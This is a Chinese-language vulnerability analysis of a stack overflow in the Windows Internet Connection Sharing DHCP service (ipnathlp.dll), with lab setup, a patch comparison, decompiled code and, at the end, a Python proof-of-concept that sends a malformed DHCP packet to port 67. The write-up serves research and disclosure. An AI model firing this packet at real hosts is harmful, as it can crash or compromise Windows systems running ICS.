简要分析bug成因, 仅供研究学习.
环境搭建
首先, 创建一个windows虚拟机, 添加两个网卡, 记作net1, net2. 依照 Enable Internet Connection Sharing (ICS) in Windows 10启用网络共享.
正常启用后, 观察监听端口, 可以看到多了3个新的监听端口, 分别是53, 67, 68, 都来自同一个进程, 如下所示:
补丁分析
对比文件ipnathlp.dll
文件如下:
可以看到, 在左侧行37位置, 当长度超过0x20时, 它并没有跳转到结束, 而是继续处理, 补丁后, 它直接结束了后续函数操作. 所以问题很明显, 就是在后续的操作中可能存在溢出问题.
这里a2+228
为data开始位置, buffer空间大小为1500. a2+220
指示buffer中数据长度.
跟踪了DhcpExtractOptionsFromMessage
并没有发现问题, 跟踪DhcpProcessBootpMessage->DhcpAddArpEntry
, 有如下代码:
1 2 3 4 5 6 7 8
| DhcpRemoveArpEntry(a1); memset_0(&Row, 0, sizeof(Row)); Row.InterfaceIndex = DhcpAdapterIndex; Row.Address.Ipv4.sin_family = 2; Row.Address.Ipv4.sin_addr.S_un.S_addr = a1; Row.PhysicalAddressLength = v4; memcpy_0(Row.PhysicalAddress, Src, v4); v10 = CreateIpNetEntry2(&Row);
|
v4
为a2+230
的值, 即DHCP协议的Hardware address length 字段, Row
是栈结构体, 大小为0xa8, 可以看到此处当v4
超过0xa8
时, 就会栈溢出.
除此以外, V2DhcpProcessMessage
也存在相同情况.
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from socket import * s = socket(AF_INET, SOCK_DGRAM) addr = ('192.168.137.1', 67) data = b"\x01\x01\xcc\x00\x94\x27\x17\x55\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x29\xab" \ b"\xf4\x97\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \ b"\x35\x00\x32\x04\xc0\xa8\x96\x80\x37\x12\x01\x1c\x02\x79\x0f" \ b"\x06\x0c\x28\x29\x2a\x1a\x77\x03\x79\xf9\x21\xfc\x2a\xff\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
s.sendto(data, addr)
|